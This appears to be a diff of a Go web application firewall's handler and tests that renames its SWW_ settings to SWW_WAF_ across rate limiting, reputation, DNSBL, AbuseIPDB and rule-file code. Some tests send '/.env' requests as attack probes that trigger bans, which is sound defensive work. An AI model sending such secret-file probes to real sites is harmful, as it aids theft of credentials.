|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -59,8 +59,8 @@ func (rq *request) overAWholeRateLimit(now time.Time) bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// countedByRateLimits reports whether the rate limits count the request: its
|
// countedByRateLimits reports whether the rate limits count the request: its
|
||||||
// client is not in SWW_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
|
// client is not in SWW_WAF_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
|
||||||
// under SWW_RATE_LIMIT_EXEMPT_PATHS.
|
// under SWW_WAF_RATE_LIMIT_EXEMPT_PATHS.
|
||||||
func (rq *request) countedByRateLimits() bool {
|
func (rq *request) countedByRateLimits() bool {
|
||||||
cfg := rq.h.config
|
cfg := rq.h.config
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// minute is the window of SWW_RATE_LIMIT_PER_MINUTE, as a log line's
|
// minute is the window of SWW_WAF_RATE_LIMIT_PER_MINUTE, as a log line's
|
||||||
// limit_hit names it.
|
// limit_hit names it.
|
||||||
const minute = "minute"
|
const minute = "minute"
|
||||||
|
|
||||||
@@ -86,7 +86,7 @@ func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
|||||||
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
|
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// With SWW_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
|
// With SWW_WAF_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
|
||||||
// /64s of one /48, are one client, and the second's request breaks the
|
// /64s of one /48, are one client, and the second's request breaks the
|
||||||
// limit; the third, in the next /48, is another client.
|
// limit; the third, in the next /48, is another client.
|
||||||
const (
|
const (
|
||||||
@@ -129,7 +129,7 @@ func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
|
|||||||
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
|
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
||||||
@@ -163,7 +163,7 @@ func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
|
|||||||
s.request(client, "/assets", http.StatusForbidden,
|
s.request(client, "/assets", http.StatusForbidden,
|
||||||
requestlog.ActionClientIsRateLimited)
|
requestlog.ActionClientIsRateLimited)
|
||||||
|
|
||||||
// A ban, SWW_DENY_NETS and SWW_TAG_DENY still refuse a path under a
|
// A ban, SWW_WAF_DENY_NETS and SWW_WAF_TAG_DENY still refuse a path under a
|
||||||
// prefix.
|
// prefix.
|
||||||
s.request(client, "/assets/app.js", http.StatusForbidden,
|
s.request(client, "/assets/app.js", http.StatusForbidden,
|
||||||
requestlog.ActionTemporarilyBanned)
|
requestlog.ActionTemporarilyBanned)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
|
// The heuristic refusal_limit. It reads SWW_WAF_ERROR_BURST_THRESHOLD and
|
||||||
// SWW_BAN_RESPONSE.
|
// SWW_WAF_BAN_RESPONSE.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -14,8 +14,8 @@ import (
|
|||||||
// refusalLimit counts the request once it has been answered, if discriminator
|
// refusalLimit counts the request once it has been answered, if discriminator
|
||||||
// refused it after a rule file match, a trap path or a Core Rule Set match, and
|
// refused it after a rule file match, a trap path or a Core Rule Set match, and
|
||||||
// in observe mode if enforce mode would have: more than
|
// in observe mode if enforce mode would have: more than
|
||||||
// SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
|
// SWW_WAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
|
||||||
// a limit, which bans the client. A client in SWW_ALLOW_NETS, which the
|
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
|
||||||
// heuristics skip, is not counted, and nothing is while the threshold is off.
|
// heuristics skip, is not counted, and nothing is while the threshold is off.
|
||||||
// Its figures are the window, the count and the limit.
|
// Its figures are the window, the count and the limit.
|
||||||
type refusalLimit struct{}
|
type refusalLimit struct{}
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
const errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD"
|
||||||
|
|
||||||
// refused is a request the tests here send, which discriminator refuses after a rule
|
// refused is a request the tests here send, which discriminator refuses after a rule
|
||||||
// file match.
|
// file match.
|
||||||
@@ -49,7 +49,7 @@ func (r refused) send(s *sender, from string) logLine {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// startForErrorBurst is startWithClock with testRules, the metrics token and
|
// startForErrorBurst is startWithClock with testRules, the metrics token and
|
||||||
// SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
|
// SWW_WAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
|
||||||
func startForErrorBurst(
|
func startForErrorBurst(
|
||||||
t *testing.T, threshold string, env map[string]string,
|
t *testing.T, threshold string, env map[string]string,
|
||||||
) (*sender, *clock, *discriminator.Server) {
|
) (*sender, *clock, *discriminator.Server) {
|
||||||
@@ -290,15 +290,15 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
||||||
exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||||
)
|
)
|
||||||
|
|
||||||
s, _, _ := startForErrorBurst(t, "1", map[string]string{
|
s, _, _ := startForErrorBurst(t, "1", map[string]string{
|
||||||
allowNets: allowed, rateLimitExemptNets: exempt,
|
allowNets: allowed, rateLimitExemptNets: exempt,
|
||||||
})
|
})
|
||||||
|
|
||||||
// A client in SWW_ALLOW_NETS is not refused, and so not counted.
|
// A client in SWW_WAF_ALLOW_NETS is not refused, and so not counted.
|
||||||
for range 3 {
|
for range 3 {
|
||||||
s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
|
s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
)
|
)
|
||||||
|
|
||||||
// deny is the SWW_BLOCKLIST_ACTION and the SWW_REPUTATION_ACTION that
|
// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_REPUTATION_ACTION that
|
||||||
// refuses the requests of a client a source lists.
|
// refuses the requests of a client a source lists.
|
||||||
const deny = "deny"
|
const deny = "deny"
|
||||||
|
|
||||||
|
|||||||
@@ -23,12 +23,12 @@ import (
|
|||||||
|
|
||||||
// The reputation settings.
|
// The reputation settings.
|
||||||
const (
|
const (
|
||||||
blocklistURLs = "SWW_BLOCKLIST_URLS"
|
blocklistURLs = "SWW_WAF_BLOCKLIST_URLS"
|
||||||
blocklistAction = "SWW_BLOCKLIST_ACTION"
|
blocklistAction = "SWW_WAF_BLOCKLIST_ACTION"
|
||||||
asnLimitPercentURL = "SWW_ASN_LIMIT_PERCENT_URL"
|
asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The actions of SWW_BLOCKLIST_ACTION and SWW_REPUTATION_ACTION:
|
// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_REPUTATION_ACTION:
|
||||||
// limitHalf gives a listed client half of every limit, and limitQuarter a
|
// limitHalf gives a listed client half of every limit, and limitQuarter a
|
||||||
// quarter.
|
// quarter.
|
||||||
const (
|
const (
|
||||||
@@ -178,7 +178,7 @@ func TestBlocklistsComeAfterAllowedCountriesAndSkipAllowNets(t *testing.T) {
|
|||||||
loadLists(t, server, map[string][]string{dropURL: {fromDE, fromKP}})
|
loadLists(t, server, map[string][]string{dropURL: {fromDE, fromKP}})
|
||||||
|
|
||||||
// fromKP's country refuses it before the list is looked at, and fromDE,
|
// fromKP's country refuses it before the list is looked at, and fromDE,
|
||||||
// in SWW_ALLOW_NETS, is not checked at all: neither is noted, nor
|
// in SWW_WAF_ALLOW_NETS, is not checked at all: neither is noted, nor
|
||||||
// alerted.
|
// alerted.
|
||||||
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied))
|
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied))
|
||||||
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
|
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
|
||||||
@@ -277,7 +277,7 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(t *testing.T)
|
|||||||
},
|
},
|
||||||
{"none, for an AS number the file does not list", nil, asnKP + ":25", none, none},
|
{"none, for an AS number the file does not list", nil, asnKP + ":25", none, none},
|
||||||
{
|
{
|
||||||
"SWW_ASN_BYTES_PERCENT's in place of the file's for the byte limits",
|
"SWW_WAF_ASN_BYTES_PERCENT's in place of the file's for the byte limits",
|
||||||
map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
|
map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
@@ -367,9 +367,9 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
|||||||
|
|
||||||
// The DNSBL settings.
|
// The DNSBL settings.
|
||||||
const (
|
const (
|
||||||
dnsblZones = "SWW_DNSBL_ZONES"
|
dnsblZones = "SWW_WAF_DNSBL_ZONES"
|
||||||
dnsblResolver = "SWW_DNSBL_RESOLVER"
|
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
|
||||||
reputationAction = "SWW_REPUTATION_ACTION"
|
reputationAction = "SWW_WAF_REPUTATION_ACTION"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The DNSBL zones these tests name, which are never asked about the
|
// The DNSBL zones these tests name, which are never asked about the
|
||||||
@@ -425,7 +425,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
|
|||||||
for _, from := range []string{fromDE, fromKP} {
|
for _, from := range []string{fromDE, fromKP} {
|
||||||
for i := range 3 {
|
for i := range 3 {
|
||||||
line := s.get(from, tc.statuses[i], tc.actions[i])
|
line := s.get(from, tc.statuses[i], tc.actions[i])
|
||||||
// In the order SWW_DNSBL_ZONES names them.
|
// In the order SWW_WAF_DNSBL_ZONES names them.
|
||||||
wantReputation(t, line, listedBy[from]...)
|
wantReputation(t, line, listedBy[from]...)
|
||||||
wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
|
wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
|
||||||
line.RateLimitPercentSetting, tc.percent)
|
line.RateLimitPercentSetting, tc.percent)
|
||||||
@@ -472,7 +472,7 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) {
|
|||||||
loadVerdicts(server, map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}})
|
loadVerdicts(server, map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}})
|
||||||
|
|
||||||
// The blocklist refuses fromKP before its verdict is looked at, and
|
// The blocklist refuses fromKP before its verdict is looked at, and
|
||||||
// fromDE, in SWW_ALLOW_NETS, is not checked at all: neither is noted
|
// fromDE, in SWW_WAF_ALLOW_NETS, is not checked at all: neither is noted
|
||||||
// for the zone, nor alerted, nor asked about.
|
// for the zone, nor alerted, nor asked about.
|
||||||
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||||
dropURL)
|
dropURL)
|
||||||
@@ -707,7 +707,7 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
|
|||||||
|
|
||||||
// The AbuseIPDB settings, and accountKey, the key the tests set.
|
// The AbuseIPDB settings, and accountKey, the key the tests set.
|
||||||
const (
|
const (
|
||||||
abuseIPDBKey = "SWW_ABUSEIPDB_KEY"
|
abuseIPDBKey = "SWW_WAF_ABUSEIPDB_KEY"
|
||||||
accountKey = "abuseipdb-key-0123456789abcdef"
|
accountKey = "abuseipdb-key-0123456789abcdef"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -898,7 +898,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *test
|
|||||||
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
|
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
|
||||||
reputationAction: tc.action,
|
reputationAction: tc.action,
|
||||||
})
|
})
|
||||||
// At SWW_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
|
// At SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
|
||||||
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
|
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
|
||||||
|
|
||||||
for i := range 3 {
|
for i := range 3 {
|
||||||
@@ -951,7 +951,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
|
|||||||
// The alert is made as a DNSBL zone's is, with the score besides.
|
// The alert is made as a DNSBL zone's is, with the score besides.
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit ||
|
if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit ||
|
||||||
waiting[0].Reason != "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE" ||
|
waiting[0].Reason != "scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE" ||
|
||||||
waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) ||
|
waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) ||
|
||||||
queue.Suppressed() != 1 {
|
queue.Suppressed() != 1 {
|
||||||
t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+
|
t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+
|
||||||
@@ -1022,7 +1022,7 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
|
|||||||
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
||||||
})
|
})
|
||||||
// Every source lists client, and none otherClient, whose score is
|
// Every source lists client, and none otherClient, whose score is
|
||||||
// under SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
|
// under SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
|
||||||
loadLists(t, server, map[string][]string{dropURL: {client}})
|
loadLists(t, server, map[string][]string{dropURL: {client}})
|
||||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
|
loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
|
||||||
loadScores(server, map[string]int64{client: score, otherClient: 74})
|
loadScores(server, map[string]int64{client: score, otherClient: 74})
|
||||||
@@ -1071,7 +1071,7 @@ func verdictsFetched() time.Time {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// loadVerdicts puts into server's DNSBL, for each client listedBy names,
|
// loadVerdicts puts into server's DNSBL, for each client listedBy names,
|
||||||
// a verdict of each zone SWW_DNSBL_ZONES names, fetched at
|
// a verdict of each zone SWW_WAF_DNSBL_ZONES names, fetched at
|
||||||
// verdictsFetched, as reputation.json would at start: one that lists the
|
// verdictsFetched, as reputation.json would at start: one that lists the
|
||||||
// client from each zone listedBy gives for it, and one that does not from
|
// client from each zone listedBy gives for it, and one that does not from
|
||||||
// each other zone.
|
// each other zone.
|
||||||
|
|||||||
@@ -44,7 +44,7 @@ type decision struct {
|
|||||||
lookedUp bool
|
lookedUp bool
|
||||||
lookupAnswer lookup.Answer
|
lookupAnswer lookup.Answer
|
||||||
// skippedLookupWait is true for a request that did not wait for GeoJS and
|
// skippedLookupWait is true for a request that did not wait for GeoJS and
|
||||||
// found no answer kept. SWW_UNKNOWN_LIMIT_PERCENT does not apply to it,
|
// found no answer kept. SWW_WAF_UNKNOWN_LIMIT_PERCENT does not apply to it,
|
||||||
// so that not waiting never lowers its client's limits.
|
// so that not waiting never lowers its client's limits.
|
||||||
skippedLookupWait bool
|
skippedLookupWait bool
|
||||||
// counted is true for a request the rate limits counted, whose bytes
|
// counted is true for a request the rate limits counted, whose bytes
|
||||||
@@ -170,7 +170,7 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
|
|||||||
|
|
||||||
// check is the one place where a request can be refused. It returns nil to let
|
// check is the one place where a request can be refused. It returns nil to let
|
||||||
// the request through. The heuristics of checkClient decide: a request they
|
// the request through. The heuristics of checkClient decide: a request they
|
||||||
// refuse is answered with SWW_BAN_RESPONSE, 403 for a block rule or the Core
|
// refuse is answered with SWW_WAF_BAN_RESPONSE, 403 for a block rule or the Core
|
||||||
// Rule Set, or 431 for the header limits. In observe mode nothing is refused,
|
// Rule Set, or 431 for the header limits. In observe mode nothing is refused,
|
||||||
// and the log line names what enforce mode would have done. ctx is the
|
// and the log line names what enforce mode would have done. ctx is the
|
||||||
// request's own context.
|
// request's own context.
|
||||||
@@ -200,7 +200,7 @@ func (rq *request) check(ctx context.Context) *refusal {
|
|||||||
// checkClient runs the heuristics of beforeLookup on the request, then looks
|
// checkClient runs the heuristics of beforeLookup on the request, then looks
|
||||||
// up the client's AS number and country, then runs those of afterLookup. It
|
// up the client's AS number and country, then runs those of afterLookup. It
|
||||||
// returns the first verdict, or nil when none gives one. A client in
|
// returns the first verdict, or nil when none gives one. A client in
|
||||||
// SWW_ALLOW_NETS skips them all, and is not looked up. ctx is the request's
|
// SWW_WAF_ALLOW_NETS skips them all, and is not looked up. ctx is the request's
|
||||||
// own context.
|
// own context.
|
||||||
func (rq *request) checkClient(ctx context.Context) *verdict {
|
func (rq *request) checkClient(ctx context.Context) *verdict {
|
||||||
if isInside(rq.client, rq.h.config.AllowNets) {
|
if isInside(rq.client, rq.h.config.AllowNets) {
|
||||||
@@ -224,7 +224,7 @@ func (rq *request) checkClient(ctx context.Context) *verdict {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// pathExempt reports whether r is exempt under prefixes,
|
// pathExempt reports whether r is exempt under prefixes,
|
||||||
// SWW_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_EXEMPT_PATHS: whether its
|
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS: whether its
|
||||||
// path as sent, the path the app receives, not percent-decoded, starts
|
// path as sent, the path the app receives, not percent-decoded, starts
|
||||||
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
|
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
|
||||||
// app whose router matches the path as received. A request whose decoded
|
// app whose router matches the path as received. A request whose decoded
|
||||||
@@ -326,9 +326,9 @@ func (rq *request) addToHistory() {
|
|||||||
|
|
||||||
// countAnomalies counts the request, which has ended, and its bytes, as
|
// countAnomalies counts the request, which has ended, and its bytes, as
|
||||||
// countedBytes gives them, for the anomaly thresholds, whatever was done
|
// countedBytes gives them, for the anomaly thresholds, whatever was done
|
||||||
// with it: a request refused, one from a client in SWW_ALLOW_NETS or
|
// with it: a request refused, one from a client in SWW_WAF_ALLOW_NETS or
|
||||||
// SWW_RATE_LIMIT_EXEMPT_NETS, and one for a path in
|
// SWW_WAF_RATE_LIMIT_EXEMPT_NETS, and one for a path in
|
||||||
// SWW_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
|
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
|
||||||
// client's AS number when answerAtTheEnd gives one. With every anomaly
|
// client's AS number when answerAtTheEnd gives one. With every anomaly
|
||||||
// threshold off, the default, it does nothing.
|
// threshold off, the default, it does nothing.
|
||||||
func (rq *request) countAnomalies() {
|
func (rq *request) countAnomalies() {
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ import (
|
|||||||
const (
|
const (
|
||||||
// requestIDHeader carries the request's id.
|
// requestIDHeader carries the request's id.
|
||||||
requestIDHeader = "X-Request-ID"
|
requestIDHeader = "X-Request-ID"
|
||||||
// instance is the SWW_INSTANCE_NAME a test sets.
|
// instance is the SWW_WAF_INSTANCE_NAME a test sets.
|
||||||
instance = "fsn1app1/blog"
|
instance = "fsn1app1/blog"
|
||||||
// ipv6Client is a client on IPv6, and ipv6Group the netblock the rate
|
// ipv6Client is a client on IPv6, and ipv6Group the netblock the rate
|
||||||
// limits count it as.
|
// limits count it as.
|
||||||
@@ -196,7 +196,7 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
|
|||||||
func TestTimingsAreInOrder(t *testing.T) {
|
func TestTimingsAreInOrder(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||||
|
|
||||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
// The pause sets the times apart; a hold-up of the test only lengthens
|
// The pause sets the times apart; a hold-up of the test only lengthens
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL.
|
// The heuristic routewatch_tags. It reads SWW_WAF_ROUTEWATCH_URL.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -13,9 +13,10 @@ import (
|
|||||||
// routeWatchTags adds to the request the tags asn=<number> and prefix=<netblock>
|
// routeWatchTags adds to the request the tags asn=<number> and prefix=<netblock>
|
||||||
// from what routewatch answered about the client. It refuses nothing, and the
|
// from what routewatch answered about the client. It refuses nothing, and the
|
||||||
// request does not wait for routewatch. A request that gets no tags from it has
|
// request does not wait for routewatch. A request that gets no tags from it has
|
||||||
// the reason in the log line's routewatch_tags_missing. While SWW_ROUTEWATCH_URL
|
// the reason in the log line's routewatch_tags_missing. While
|
||||||
// is unset it does nothing. Answers are kept by client and asked for by the
|
// SWW_WAF_ROUTEWATCH_URL is unset it does nothing. Answers are kept by client and
|
||||||
// request's address, and a route without an origin AS gives only the prefix= tag.
|
// asked for by the request's address, and a route without an origin AS gives only
|
||||||
|
// the prefix= tag.
|
||||||
type routeWatchTags struct{}
|
type routeWatchTags struct{}
|
||||||
|
|
||||||
func (routeWatchTags) name() string { return "routewatch_tags" }
|
func (routeWatchTags) name() string { return "routewatch_tags" }
|
||||||
|
|||||||
@@ -14,10 +14,10 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field
|
// routeWatchURL is SWW_WAF_ROUTEWATCH_URL, and tagsMissing the log line's field
|
||||||
// that says why a request got no tags from routewatch.
|
// that says why a request got no tags from routewatch.
|
||||||
const (
|
const (
|
||||||
routeWatchURL = "SWW_ROUTEWATCH_URL"
|
routeWatchURL = "SWW_WAF_ROUTEWATCH_URL"
|
||||||
tagsMissing = "routewatch_tags_missing"
|
tagsMissing = "routewatch_tags_missing"
|
||||||
fromV6 = "2001:db8:1::5"
|
fromV6 = "2001:db8:1::5"
|
||||||
prefixV6 = "2001:db8::/32"
|
prefixV6 = "2001:db8::/32"
|
||||||
@@ -137,7 +137,7 @@ func TestUnsetRouteWatchChangesNothing(t *testing.T) {
|
|||||||
s, _, server := startWithClock(t, "", map[string]string{lookupSource: off})
|
s, _, server := startWithClock(t, "", map[string]string{lookupSource: off})
|
||||||
|
|
||||||
if server.RouteWatch != nil {
|
if server.RouteWatch != nil {
|
||||||
t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset")
|
t.Error("RouteWatch is set while SWW_WAF_ROUTEWATCH_URL is unset")
|
||||||
}
|
}
|
||||||
|
|
||||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic rule_files. It reads the rules of the rule files, which
|
// The heuristic rule_files. It reads the rules of the rule files, which
|
||||||
// SWW_RULES_DIR and SWW_RULES_ENABLED name.
|
// SWW_WAF_RULES_DIR and SWW_WAF_RULES_ENABLED name.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
|||||||
@@ -34,14 +34,14 @@ func TestEachRuleAction(t *testing.T) {
|
|||||||
line := s.get(client, http.StatusOK, requestlog.ActionForward)
|
line := s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
wantRuleIDs(t, line, "noted")
|
wantRuleIDs(t, line, "noted")
|
||||||
|
|
||||||
// A block rule refuses with 403, whatever SWW_BAN_RESPONSE is, and
|
// A block rule refuses with 403, whatever SWW_WAF_BAN_RESPONSE is, and
|
||||||
// bans no one.
|
// bans no one.
|
||||||
line = s.request(client, "/blocked", http.StatusForbidden,
|
line = s.request(client, "/blocked", http.StatusForbidden,
|
||||||
requestlog.ActionBlockedByBlockRule)
|
requestlog.ActionBlockedByBlockRule)
|
||||||
wantRuleIDs(t, line, "noted", "blocked")
|
wantRuleIDs(t, line, "noted", "blocked")
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
// A ban rule refuses with SWW_BAN_RESPONSE, and bans the client for
|
// A ban rule refuses with SWW_WAF_BAN_RESPONSE, and bans the client for
|
||||||
// seven days, the default.
|
// seven days, the default.
|
||||||
line = s.request(client, "/.env", http.StatusTooManyRequests,
|
line = s.request(client, "/.env", http.StatusTooManyRequests,
|
||||||
requestlog.ActionTemporarilyBanned)
|
requestlog.ActionTemporarilyBanned)
|
||||||
@@ -132,7 +132,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
|
|||||||
attackBanDuration: "1h",
|
attackBanDuration: "1h",
|
||||||
})
|
})
|
||||||
|
|
||||||
// The first probe bans for SWW_ATTACK_BAN_DURATION.
|
// The first probe bans for SWW_WAF_ATTACK_BAN_DURATION.
|
||||||
line := s.request(client, "/.env", http.StatusForbidden,
|
line := s.request(client, "/.env", http.StatusForbidden,
|
||||||
requestlog.ActionTemporarilyBanned)
|
requestlog.ActionTemporarilyBanned)
|
||||||
if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
|
if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
|
||||||
@@ -155,8 +155,8 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
||||||
exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||||
)
|
)
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
s, _, server := startWithClock(t, "", map[string]string{
|
||||||
@@ -166,7 +166,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
|
|||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
})
|
})
|
||||||
|
|
||||||
// A client in SWW_ALLOW_NETS is not checked.
|
// A client in SWW_WAF_ALLOW_NETS is not checked.
|
||||||
line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
|
line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
|
||||||
wantRuleIDs(t, line)
|
wantRuleIDs(t, line)
|
||||||
|
|
||||||
|
|||||||
